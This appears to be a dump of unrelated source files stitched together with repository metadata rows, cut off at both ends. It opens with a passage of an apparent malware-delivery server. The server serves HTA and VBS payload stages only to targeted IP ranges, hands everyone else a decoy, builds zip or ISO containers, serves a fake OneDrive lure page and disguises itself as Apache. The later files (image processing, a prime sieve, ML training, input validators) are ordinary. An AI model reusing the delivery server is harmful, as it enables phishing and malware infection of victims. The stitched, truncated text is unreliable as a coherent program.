ret = callback(data, host)
if ret:
ret = str(base64.b64encode(ret),'ascii')
return web.Response(text=ret, content_type='text/html', headers={'Server': 'Apache/2.4'})
return web.Response(status=200, content_type='text/html', headers={'Server': 'Apache/2.4'})
return handleWeb
def createPOSTCallback(cb):
global callback
callback = cb
async def handleWeb(request):
if request.can_read_body:
data = await request.read()
data = str(data, 'utf-8')
#try:
if '%' in data:
data = urllib.parse.unquote(data)
data = base64.b64decode(data)
#except:
# return web.Response(status=404, headers={'Server': 'Apache/2.4'})
peername = request.transport.get_extra_info('peername')
if peername is not None:
host, port = peername
global callback
ret = callback(data, host)
if ret:
ret = str(base64.b64encode(ret),'ascii')
return web.Response(text=ret, headers={'Server': 'Apache/2.4'})
return web.Response(status=200, headers={'Server': 'Apache/2.4'})
return handleWeb
def log(request, s):
ua = ''
try:
if (request.headers["User-Agent"]):
ua = request.headers["User-Agent"]
except Exception as e:
pass
peername = request.transport.get_extra_info('peername')
host = ''
if peername is not None:
host, port = peername
t = strftime("%Y-%m-%d %H:%M:%S", gmtime())
#print(str(datetime.datetime.now().isoformat()) + ' ' + host + ' ' + s + ' ' + ua)
print(t + ' ' + host + ' ' + s + ' ' + ua)
async def handleTelemetry(request):
data = request.match_info.get('data', '')
log(request, 'telemetry: ' + data)
from pathlib import Path
png = Path('tracking.png').read_bytes()
return web.Response(body=png, status=200, content_type='image/png', headers={'Server': 'Apache/2.4'})
async def handleMalware(request):
data = request.match_info.get('data', '')
log(request, 'malware: ' + data)
#from pathlib import Path
#txt = Path('implants/hta/build/implant.html').read_text()
txt = "404"
return web.Response(text=txt, status=200, content_type='text/html', headers={'Server': 'Apache/2.4'})
def isInTargetRange(request):
filename = 'target-ranges.txt'
if not os.path.exists(filename):
return True
peername = request.transport.get_extra_info('peername')
host = ''
if peername is not None:
host, port = peername
for line in open(filename, 'r').readlines():
line = line.replace('\n','').replace(' ','')
if line == '':
continue
if ipaddress.ip_address(host) in ipaddress.ip_network(line):
return True
return False
async def handleStage0(request):
password = request.match_info.get('password', '')
filename = request.match_info.get('filename', '').replace('.','').replace('/','').replace('\\','')
if not isInTargetRange(request):
log(request, 'STAGE0 NOT TARGET RANGE! password: ' + password + ' filename: ' + filename)
copyfile('benign.txt', filename + '.txt')
pyminizip.compress(filename + '.txt', None, filename + '.zip', None, 3)
else:
log(request, 'STAGE0 password: ' + password + ' filename: ' + filename + '.zip')
copyfile('stage0.hta', filename + '.hta')
# create iso with stage0 hta inside
f = open(filename + '.hta', 'rb')
fileData = f.read()
f.close()
fileName = filename + '.hta'
level1name = fileName.replace('.','').replace('-','').upper()[0:8]
iso = pycdlib.PyCdlib()
iso.new(joliet=3)
iso.add_fp(BytesIO(fileData), len(fileData), '/' + level1name + '.;1', joliet_path='/' + fileName)
iso.write(filename + '.iso')
iso.close()
if password == '0':
password = None
pyminizip.compress(filename + '.hta', None, filename + '.zip', password, 3)
#pyminizip.compress(filename + '.iso', None, filename + '.zip', password, 3)
if os.path.exists(filename + '.hta'):
os.remove(filename + '.hta')
if os.path.exists(filename + '.iso'):
os.remove(filename + '.iso')
ret = b''.join(open(filename + '.zip','rb').readlines())
#ret = b''.join(open(filename + '.iso','rb').readlines())
m = hashlib.md5()
m.update(ret)
md5sum = m.hexdigest()
print('serving zip with md5sum: ' + md5sum)
if os.path.exists(filename + '.zip'):
os.remove(filename + '.zip')
h = { 'accept-ranges': 'bytes',
#'Content-Type': 'application/octetstream; charset=utf-8',
'Content-Disposition': 'attachment; filename="' + filename + '.zip"',
'Content-Type': 'application/zip'}
#'Content-Disposition': 'attachment; filename="' + filename + '.iso"' }
return web.Response(body=ret, status=200, headers=h)
async def handleStage1(request):
h = { 'Server': 'Apache/2.4',
'Content-Type': 'text/plain; charset=utf-8'}
if not isInTargetRange(request):
log(request, 'STAGE1 NOT TARGET RANGE! Serving nothing')
return web.Response(text='', status=404, headers=h)
data = request.match_info.get('data', '')
log(request, 'STAGE1 ' + data)
ret = ''.join(open('stage1.vbs','r').readlines())
return web.Response(text=ret, status=200, headers=h)
async def handle404(request):
log(request, '404 ' + request.url)
h = { 'Server': 'Apache/2.4' }
return web.Response(status=404, headers=h)
@web.middleware
async def error_middleware(request, handler):
response = await handler(request)
if response.status != 404:
return response
log(request, '404 ' + str(request.url))
h = { 'Server': 'Apache/2.4' }
return web.Response(status=404, headers=h)
async def handleOnedrive(request):
password = request.match_info.get('password', '')
filename = request.match_info.get('filename', '').replace('.','').replace('/','').replace('\\','')
#if not isInTargetRange(request):
log(request, 'ONEDRIVE password: ' + password + ' filename: ' + filename)
ret = ''.join(open('onedrive.html','r').readlines())
ret = ret.replace('DOWNLOADURLGOESHERE', stage0UrlPrefix + password + '/' + filename)
ret = ret.replace('FILENAMEGOESHERE', filename + '.zip')
h = { 'Server': 'Apache/2.4',
'Content-Type': 'text/html; charset=utf-8'}
return web.Response(text=ret, status=200, headers=h)
async def startWebServer(cb):
try:
app = web.Application(middlewares=[error_middleware])
#app = web.Application()
app.add_routes([web.get('/{data}', createGETCallback(cb))])
app.add_routes([web.post('/{data}', createPOSTCallback(cb))])
#app.add_routes([web.get('/telemetry/{data}', handleTelemetry)])
#app.add_routes([web.get('/delivery/{data}', handleMalware)])
app.add_routes([web.get(stage0UrlPrefix + '{password}/{filename}', handleStage0)])
app.add_routes([web.get(stage1UrlPrefix + '{data}', handleStage1)])
app.add_routes([web.get(onedriveUrlPrefix + '{password}/{filename}', handleOnedrive)])
#app.add_routes([web.static('/en', 'static')])
#error_middleware = error_pages({404: handle404})
#app.middlewares.append(error_middleware)
runner = web.AppRunner(app)
await runner.setup()
if os.path.isfile('fullchain.pem') and os.path.isfile('privkey.pem'):
print('fullchain.pem and privkey.pem found.')
ssl_ctx = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)
ssl_ctx.load_cert_chain(certfile='fullchain.pem', keyfile='privkey.pem')
ssl_site = web.TCPSite(runner, '0.0.0.0', 443, ssl_context=ssl_ctx)
await ssl_site.start()
print('TLS/SSL web server started on 0.0.0.0:443')
else:
print('fullchain.pem and privkey.pem not found. Cannot start SSL/TLS. Maybe have a go at certbot certonly --register-unsafely-without-email ?')
site = web.TCPSite(runner, '0.0.0.0', 80)
await site.start()
print('cleartext HTTP web server started on 0.0.0.0:80')
except asyncio.CancelledError:
print('web server stopped.')
runner.cleanup()
| 30.496528 | 151 | 0.648981 | 1,102 | 8,783 | 5.125227 | 0.217786 | 0.022309 | 0.042139 | 0.029745 | 0.434313 | 0.354639 | 0.337465 | 0.327727 | 0.285234 | 0.248584 | 0 | 0.022405 | 0.181829 | 8,783 | 287 | 152 | 30.602787 | 0.763568 | 0.096095 | 0 | 0.305699 | 0 | 0.005181 | 0.174852 | 0.009469 | 0 | 0 | 0 | 0 | 0 | 1 | 0.020725 | false | 0.062176 | 0.088083 | 0 | 0.207254 | 0.036269 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
a9e1cd974191f082d23c243943f48186cd1b8939 | 526 | py | Python | paddle/za/test/test2.py | hth945/pytest | 83e2aada82a2c6a0fdd1721320e5bf8b8fd59abc | [
"Apache-2.0"
] | null | null | null | paddle/za/test/test2.py | hth945/pytest | 83e2aada82a2c6a0fdd1721320e5bf8b8fd59abc | [
"Apache-2.0"
] | null | null | null | paddle/za/test/test2.py | hth945/pytest | 83e2aada82a2c6a0fdd1721320e5bf8b8fd59abc | [
"Apache-2.0"
] | null | null | null | # 导入图像读取第三方库
import matplotlib.image as mpimg
import matplotlib.pyplot as plt
import cv2
import numpy as np
from PIL import Image
import paddle
import paddle.fluid as fluid
from paddle.fluid.dygraph.nn import Linear
# 读取图像
img1 = cv2.imread('./work/example_0.png')
example = mpimg.imread('./work/example_0.png')
# 显示图像
plt.imshow(example)
plt.show()
im = Image.open('./work/example_0.png').convert('L')
print(np.array(im).shape)
im = im.resize((28, 28), Image.ANTIALIAS)
plt.imshow(im)
plt.show()
print(np.array(im).shape)
| 21.04 | 52 | 0.745247 | 87 | 526 | 4.471264 | 0.436782 | 0.084833 | 0.092545 | 0.115681 | 0.205656 | 0 | 0 | 0 | 0 | 0 | 0 | 0.021322 | 0.108365 | 526 | 24 | 53 | 21.916667 | 0.808102 | 0.038023 | 0 | 0.222222 | 0 | 0 | 0.122 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.444444 | 0 | 0.444444 | 0.111111 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
a9e2d4d4133cf7c6e57e29e82707a4430f60649a | 253 | py | Python | solution/1978(소수 찾기).py | OMEGA-Y/Baekjoon-sol | 9eaa441e482a0967fb60a9ea1d1373be00272c34 | [
"Apache-2.0"
] | null | null | null | solution/1978(소수 찾기).py | OMEGA-Y/Baekjoon-sol | 9eaa441e482a0967fb60a9ea1d1373be00272c34 | [
"Apache-2.0"
] | null | null | null | solution/1978(소수 찾기).py | OMEGA-Y/Baekjoon-sol | 9eaa441e482a0967fb60a9ea1d1373be00272c34 | [
"Apache-2.0"
] | null | null | null | input()
num = set(map(int,input().split()))
prime = set([i for i in range(3,max(num)+1,2)])
for i in range(3,max(num)+1,2):
if i in prime:
prime -= set([i for i in range(i*2,max(num)+1,i)])
prime.add(2)
print(len(num.intersection(prime))) | 23 | 58 | 0.604743 | 53 | 253 | 2.886792 | 0.377358 | 0.078431 | 0.117647 | 0.215686 | 0.45098 | 0.45098 | 0.45098 | 0.261438 | 0.261438 | 0 | 0 | 0.042654 | 0.166008 | 253 | 11 | 59 | 23 | 0.682464 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.125 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
a9ebdaac7c9edcbc0581cbaab45f4e0459e8dc59 | 2,237 | py | Python | sandbox/system_id.py | MrRubyRed/MBRL | fa8e357325611fd8431ce3be5e97592011f010c6 | [
"BSD-3-Clause"
] | null | null | null | sandbox/system_id.py | MrRubyRed/MBRL | fa8e357325611fd8431ce3be5e97592011f010c6 | [
"BSD-3-Clause"
] | null | null | null | sandbox/system_id.py | MrRubyRed/MBRL | fa8e357325611fd8431ce3be5e97592011f010c6 | [
"BSD-3-Clause"
] | null | null | null | """
Demo of system identification on an inverted pendulum, using one step dynamics.
@author: David Fridovich-Keil
@email: dfk@eecs.berkeley.edu
"""
import gym
import tensorflow as tf
from mbrl.dynamics.dynamics import Dynamics
import numpy as np
import pickle
# Make a gym environment.
env = gym.make("Pendulum-v0")
STATE_DIM = 3
ACTION_DIM = 1
# Create a Dynamics neural net.
dyn = Dynamics(STATE_DIM, ACTION_DIM, [STATE_DIM + ACTION_DIM, 20, 10, STATE_DIM])
# Create loss functor (RMS error) and set up optimizer.
rms = tf.sqrt(tf.reduce_mean(tf.reduce_sum(tf.square(
tf.subtract(dyn.next_state_, dyn.output_)), 1, keep_dims=True)))
learning_rate = 0.0005
momentum = 0.995
train_step = tf.train.MomentumOptimizer(
learning_rate=learning_rate, momentum=momentum).minimize(rms)
# Set up tf session.
sess = tf.Session()
init = tf.initialize_all_variables()
sess.run(init)
# Create a bunch of rollouts
NUM_ROLLOUTS = 300
TIME_HORIZON = 20
states = np.zeros((NUM_ROLLOUTS * TIME_HORIZON, STATE_DIM))
actions = np.zeros((NUM_ROLLOUTS * TIME_HORIZON, ACTION_DIM))
targets = np.zeros((NUM_ROLLOUTS * TIME_HORIZON, STATE_DIM))
for ii in range(NUM_ROLLOUTS):
s = env.reset()
for jj in range(TIME_HORIZON):
a = np.random.uniform(-2.0, 2.0, (1,))
states[ii*TIME_HORIZON + jj, :] = s
actions[ii*TIME_HORIZON + jj, :] = a
step = env.step(a)
targets[ii * TIME_HORIZON + jj, :] = step[0]
s = step[0]
# Training.
BATCH_SIZE = 20
NUM_TRAIN_STEPS = 10000
for ii in range(NUM_TRAIN_STEPS):
indices = np.random.randint(NUM_ROLLOUTS * TIME_HORIZON, size=BATCH_SIZE)
sess.run(train_step, feed_dict={dyn.state_ : states[indices],
dyn.action_ : actions[indices],
dyn.next_state_ : targets[indices]})
if np.mod(ii, 50) == 0:
print("RMS error at iteration %d is %f" %
(ii, sess.run(rms, feed_dict={dyn.state_ : states,
dyn.action_ : actions,
dyn.next_state_ : targets})))
| 32.897059 | 89 | 0.614215 | 302 | 2,237 | 4.370861 | 0.397351 | 0.075 | 0.045455 | 0.066667 | 0.134091 | 0.07803 | 0.056061 | 0.056061 | 0 | 0 | 0 | 0.024104 | 0.27671 | 2,237 | 67 | 90 | 33.38806 | 0.791718 | 0 | 0 | 0 | 0 | 0 | 0.021875 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.113636 | null | null | 0.022727 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
a9ef792277870cfcaf48a94f7940475b75c67fba | 2,572 | py | Python | UpdatedImageProcessing/UpdatedImageProcessing/integrated_image_processing.py | liyu711/SUAS | 2f6592fc2ab316475eeabe2f4828e5ba5c1a4b0b | [
"MIT"
] | null | null | null | UpdatedImageProcessing/UpdatedImageProcessing/integrated_image_processing.py | liyu711/SUAS | 2f6592fc2ab316475eeabe2f4828e5ba5c1a4b0b | [
"MIT"
] | null | null | null | UpdatedImageProcessing/UpdatedImageProcessing/integrated_image_processing.py | liyu711/SUAS | 2f6592fc2ab316475eeabe2f4828e5ba5c1a4b0b | [
"MIT"
] | null | null | null | import os
import time
import json
from PIL import Image
from .TargetDetection import *
from .ShapeDetection import *
from .Classifiers import *
class IntegratedImageProcessing(object):
@staticmethod
def run_integrated_image_processing(target_map_path, image_save_path, json_save_path):
target_detected = []
amount_of_target_maps_present = len(set(os.listdir(target_map_path))) - len(set(target_detected))
while (amount_of_target_maps_present > 0):
print "Target Maps Left to Detect: " + str(amount_of_target_maps_present)
for index_1 in range(len(set(os.listdir(target_map_path)))):
current_target_map_name = os.listdir(target_map_path)[index_1]
is_current_target_map_detected = False
for index_2 in range(len(target_detected)):
if (target_detected[index_2] == current_target_map_name):
is_current_target_map_detected = True
if (is_current_target_map_detected == False):
target_detected.append(current_target_map_name)
break
combo_target_detection_result_list = SingleTargetMapDetector.detect_single_target_map(os.path.join(target_map_path, current_target_map_name))
single_target_crops = combo_target_detection_result_list[0]
json_file = combo_target_detection_result_list[1]
for index_3 in range(len(single_target_crops)):
json_file["image_processing_results"][index_3]["target_index"] = index_3 + 1
current_crop_path = os.path.join(image_save_path, current_target_map_name + " - " + str(index_3 + 1) + ".png")
single_target_crops[index_3].save(current_crop_path)
shape_type = ShapeClassificationTwo(current_crop_path).get_shape_type()
json_file["image_processing_results"][index_3]["target_shape_type"] = shape_type
color_classifying_results = ColorClassifier(current_crop_path).get_color()
shape_color = color_classifying_results[0]
letter_color = color_classifying_results[1]
json_file["image_processing_results"][index_3]["target_shape_color"] = shape_color
json_file["image_processing_results"][index_3]["target_letter_color"] = letter_color
with open(os.path.join(json_save_path, current_target_map_name + ".json"), 'w') as fp:
json.dump(json_file, fp, indent=4)
amount_of_target_maps_present -= 1
| 46.763636 | 153 | 0.681182 | 321 | 2,572 | 4.993769 | 0.249221 | 0.084217 | 0.089832 | 0.07486 | 0.401123 | 0.252651 | 0.179039 | 0.111042 | 0.05864 | 0 | 0 | 0.010714 | 0.237947 | 2,572 | 54 | 154 | 47.62963 | 0.807143 | 0 | 0 | 0 | 0 | 0 | 0.078927 | 0.037325 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.175 | null | null | 0.025 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
a9f04252a302db8ac6cb5f5e61ef42ac88be493e | 645 | py | Python | pytoolkit/datasets/voc_test.py | ak110/pytoolk | 8eef7e0add7bbc0ced1f1f1d82ed245388cc6684 | [
"MIT"
] | 26 | 2018-12-03T23:02:56.000Z | 2020-08-07T06:33:21.000Z | pytoolkit/datasets/voc_test.py | ak110/pytoolk | 8eef7e0add7bbc0ced1f1f1d82ed245388cc6684 | [
"MIT"
] | null | null | null | pytoolkit/datasets/voc_test.py | ak110/pytoolk | 8eef7e0add7bbc0ced1f1f1d82ed245388cc6684 | [
"MIT"
] | 5 | 2019-08-10T11:10:59.000Z | 2020-11-18T02:39:37.000Z | import numpy as np
import pytest
import pytoolkit as tk
def test_load_voc_od_split(data_dir):
ds = tk.datasets.load_voc_od_split(data_dir / "od", split="train")
assert len(ds) == 3
assert tuple(ds.metadata["class_names"]) == ("~", "〇")
ann = ds.labels[0]
assert ann.path == (data_dir / "od" / "JPEGImages" / "無題.jpg")
assert ann.width == 768
assert ann.height == 614
assert len(ann.classes) == 1
assert ann.classes[0] == 0
assert (ann.difficults == np.array([False])).all()
assert ann.bboxes[0] == pytest.approx(
np.array([203 - 1, 255 - 1, 601 - 1, 355 - 1]) / [768, 614, 768, 614]
)
| 29.318182 | 77 | 0.609302 | 99 | 645 | 3.858586 | 0.494949 | 0.141361 | 0.04712 | 0.073298 | 0.109948 | 0.109948 | 0 | 0 | 0 | 0 | 0 | 0.079523 | 0.220155 | 645 | 21 | 78 | 30.714286 | 0.677932 | 0 | 0 | 0 | 0 | 0 | 0.058915 | 0 | 0 | 0 | 0 | 0 | 0.529412 | 1 | 0.058824 | false | 0 | 0.176471 | 0 | 0.235294 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e7049881e61b190ec535a5a8eb9c0a17246cf92b | 976 | py | Python | training/train_word2vec.py | jodaiber/semantic_compound_splitting | 6b6b8aea9c320ef3b26dca4d8345fb9a08950a42 | [
"Apache-2.0"
] | 17 | 2015-10-14T09:44:38.000Z | 2021-02-19T16:45:32.000Z | training/train_word2vec.py | jodaiber/semantic_compound_splitting | 6b6b8aea9c320ef3b26dca4d8345fb9a08950a42 | [
"Apache-2.0"
] | null | null | null | training/train_word2vec.py | jodaiber/semantic_compound_splitting | 6b6b8aea9c320ef3b26dca4d8345fb9a08950a42 | [
"Apache-2.0"
] | 8 | 2015-09-07T16:29:37.000Z | 2020-08-08T05:43:12.000Z | import gensim
import sys
import glob
import codecs
from nltk.tokenize import RegexpTokenizer
import glob
import sys
class CorpusReader():
"""
Reads corpus from gzip file.
"""
def __init__(self, files):
if isinstance(files, str):
self.files = [files]
else:
self.files = files
self.tokenizer = RegexpTokenizer(r'\w+')
def __iter__(self):
"""
Generator that returns a list of tokens for each sentence.
:return: list of tokens
"""
for f in self.files:
print "Processing ", f
for line in open(f, "r"):
try:
yield self.tokenizer.tokenize(line.decode("utf-8"))
except:
pass
print "Starting W2V training..."
files = glob.glob(sys.argv[1])
outfile_name = sys.argv[2]
dataset = CorpusReader(files)
model = gensim.models.Word2Vec(dataset, size=500, window=5, min_count=3, negative=5, workers=15)
model.save(outfile_name)
| 21.217391 | 96 | 0.619877 | 124 | 976 | 4.790323 | 0.596774 | 0.060606 | 0.053872 | 0.050505 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.018284 | 0.271516 | 976 | 45 | 97 | 21.688889 | 0.817159 | 0 | 0 | 0.142857 | 0 | 0 | 0.053856 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.035714 | 0.25 | null | null | 0.071429 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e7061d8b63919b39dccb98d1bd784faf7195d2c9 | 3,797 | py | Python | gchaos/gae/datastore/latency.py | RealKinetic/echoes | e0f77ae003d3982d84c2953efeb3486ba9ab6e6d | [
"MIT"
] | null | null | null | gchaos/gae/datastore/latency.py | RealKinetic/echoes | e0f77ae003d3982d84c2953efeb3486ba9ab6e6d | [
"MIT"
] | 1 | 2017-01-16T01:15:37.000Z | 2017-01-16T01:15:37.000Z | gchaos/gae/datastore/latency.py | RealKinetic/gchaos | e0f77ae003d3982d84c2953efeb3486ba9ab6e6d | [
"MIT"
] | null | null | null | # MIT License
# Copyright (c) 2017 Real Kinetic
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
import logging
import random
from random import randint
from time import sleep
from gchaos.chance import roll
from gchaos.errors import InvalidLatencyException
from gchaos.utils import get_func_info_for_path
def trigger(latency_config):
"""Generates a chance value between 0 and 1. If the latency rate on the
latency config is greather than or equal to the chance then it will trigger
latencies if latencies exist on the config. It will get the latency configs
next option which is based on the latency config probabilities.
Args:
latency_config (gchaos.config.hydrate.LatncyConfig):
Datastore Latency Configuration
Return:
None
"""
if not roll(latency_config.latency_rate):
return
stall(latency_config.latency)
def stall(latency):
"""Based off the latency stall for that long. The latency is a tuple if only
one value is provided then stall for exactly that long. If two values are
provided then stall for a random choice between those values.
Args:
latency (tuple(int, int): A tuple of a latency range (in milliseconds)
Return:
None
"""
if not latency:
return
_stall(_get_latency(latency))
def _get_latency(latency):
"""Check the latency field and if it's a single value tuple or an integer
then return that value. If it's a 2 value tuple then get the value from the
range. Otherwise raise an InvalidLatencyException.
Args:
latency (tuple(int,) | tuple(int, int) | int):
A tuple of one or two ints or just an int.
Return:
None
"""
if isinstance(latency, tuple):
if len(latency) == 1:
return latency[0]
return get_stall_time_from_range(latency)
if isinstance(latency, int):
return latency
raise InvalidLatencyException(latency)
def get_stall_time_from_range(latency):
"""Take the latency tuple and randomly choose a value that falls within
that range.
Args:
latency (tuple(int, int)): A tuple of ints to make a range
Return:
int
"""
if len(latency) != 2:
raise InvalidLatencyException(latency)
min_, max_ = latency
if max_ < min_:
raise InvalidLatencyException(latency)
return randint(min_, max_)
def _stall(milli_time):
"""Call time.sleep with the time (in milliseconds) divided by 1000 to
convert it to seconds.
Args:
milli_time (int): Time in milliseconds
Return:
None
"""
logging.info(
"CHAOS: Starting to stall the call for {0} milliseconds".format(
milli_time))
sleep(milli_time / float(1000))
| 28.984733 | 80 | 0.703713 | 538 | 3,797 | 4.905204 | 0.356877 | 0.033346 | 0.013642 | 0.021599 | 0.049261 | 0.043956 | 0.022736 | 0.022736 | 0 | 0 | 0 | 0.006563 | 0.237556 | 3,797 | 130 | 81 | 29.207692 | 0.905009 | 0.640769 | 0 | 0.142857 | 0 | 0 | 0.046036 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.142857 | false | 0 | 0.2 | 0 | 0.514286 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
e70a05c0d2d574b75d4d1e02c12423cafe0f94e7 | 6,706 | py | Python | projeto_contratacoes/ferramentas/validaDado.py | JhonatasMenezes/Projetos_Python | f1989a8cb1c428fdae98da770f8db149b8b8587d | [
"MIT"
] | 3 | 2021-07-15T22:58:00.000Z | 2022-02-18T17:42:00.000Z | projeto_contratacoes/ferramentas/validaDado.py | JhonatasMenezes/Projetos_Python | f1989a8cb1c428fdae98da770f8db149b8b8587d | [
"MIT"
] | 1 | 2021-10-01T17:52:49.000Z | 2021-10-01T17:52:49.000Z | projeto_contratacoes/ferramentas/validaDado.py | JhonatasMenezes/Projetos_Python | f1989a8cb1c428fdae98da770f8db149b8b8587d | [
"MIT"
] | null | null | null | # Importando uma função que muda cor de textos no terminal, criada em outro arquivo
from ferramentas.create_db import Vagas
from .utilidades import textoCor
"""
Módulo de funções para validação de alguns dados como Nomes, CPFs e Datas de nascimento.
NOTA: Todas as funções são parecidas e utilizam o mesmo princípio.
Irei comentar detalhadamente apenas a primeira e, em caso de peculiaridades,
farei comentários isolados na respectiva função.
"""
def validaNome(mensagem='Nome: '):
"""
Função que valida nomes de forma a verificar se todos
os caracteres são letras e não outros tipos de dados.
:param mensagem: recebe uma mensagem que aparece no input
:return nome: retorna o nome em forma de str
"""
# loop para permitir nova inserção após um erro
while True:
try:
# checagem dos dados recebidos
nome = str(input(mensagem)).split() # transformo a entrada em uma lista para poder checar nomes compostos
# se a lista estiver vazia gera um erro logo de início
if nome == []:
raise KeyboardInterrupt
else:
# checar se cada item na lista é composto apenas por letras
for i in nome:
if i.isalpha():
pass
else:
raise ValueError
# retransformar a lista em string para o retorno
nome = ' '.join(nome)
# tratamento de erros
except ValueError:
# emitir os avisos de erro na cor vermelha
textoCor('Tipo de dado inválido. Tente novamente!', 31)
except KeyboardInterrupt:
textoCor('Informação obrigatória. Impossível prosseguir!', 31)
except:
textoCor('Erro desconhecido. Tente novamente!',31)
else:
# após passar por todos os filtros é retornado o nome em forma de string
return nome
def validaCPF(mensagem='CPF (somente números): '):
"""
Função que valida CPFs de forma a verificar se todos
os caracteres são numéricos e se não contém outros
tipos de dados.
Também verifica o tamanho do CPF inserido, são sendo possível
validar CPFs maiores ou menores do que 11 números.
:param mensagem: recebe uma mensagem que aparece no input
:return cpf: retorna cpf em formato str
"""
while True:
try:
cpf = str(input(mensagem))
cpf = list(cpf.strip(''))
if cpf == []:
raise KeyboardInterrupt
else:
# checar se cada digito é um número
for i in cpf:
if i.isnumeric():
pass
else:
raise ValueError
if len(cpf) > 11 or len(cpf) < 11:
raise Exception
cpf = ''.join(cpf)
except ValueError:
textoCor('Tipo de dado inválido. Tente novamente!', 31)
except KeyboardInterrupt:
textoCor('Informação obrigatória. Impossível prosseguir!', 31)
except Exception:
textoCor('Tamanho inválido. Verifique o dado digitado!', 31)
except:
textoCor('Erro desconhecido. Tente novamente!')
else:
return cpf
def validaNascimento(mensagem='Data nasc. (DD/MM/AAAA): '):
"""
Função que valida datas de forma a verificar se todos
os caracteres, entre as '/' são numéricos e não outros tipos de dados.
Também verifica se o dia, mês e ano estão dentro dos limites válidos.
:param mensagem: recebe uma mensagem que aparece no input
:return data: retorna data em formato str
"""
# variável que facilita a mudança do ano atual
anoAtual = 2021
while True:
try:
data = str(input(mensagem))
data = list(data.split('/'))
if data == []:
raise KeyboardInterrupt
else:
for i in data:
if i.isnumeric():
pass
else:
raise ValueError
# utilizo dos índices para verificar cada dado
if int(data[0]) > 31:
raise Exception('Dia')
if int(data[1]) > 12:
raise Exception('Mês')
if int(data[2]) > anoAtual:
raise Exception('Ano')
data = '/'.join(data)
except ValueError:
textoCor('Tipo de dado inválido. Tente novamente!', 31)
except KeyboardInterrupt:
textoCor('Informação obrigatória. Impossível prosseguir!', 31)
except Exception:
textoCor('Conteúdo(s) - DIA, MÊS ou ANO - Inválido(s)! Verifique os dados digitados!', 31)
except:
textoCor('Erro desconhecido. Tente novamente!', 31)
else:
return data
def validaVaga(mensagem='Vaga: ',inserir=False,vagaNome=str):
"""
Função que valida vagas de forma a verificar se a vaga
existe na base de dados, sendo impossível adicionar um
candidato relacionado a uma vaga inexistente.
Se usada no momento de inserir uma nova vaga, retorna True
para uma vaga existente e False para não existência.
:param mensagem: recebe uma mensagem que aparece no input
:return vaga: retorna vaga em formato str
"""
while True:
vaga = ''
try:
if inserir == False:
vaga = str(input(mensagem))
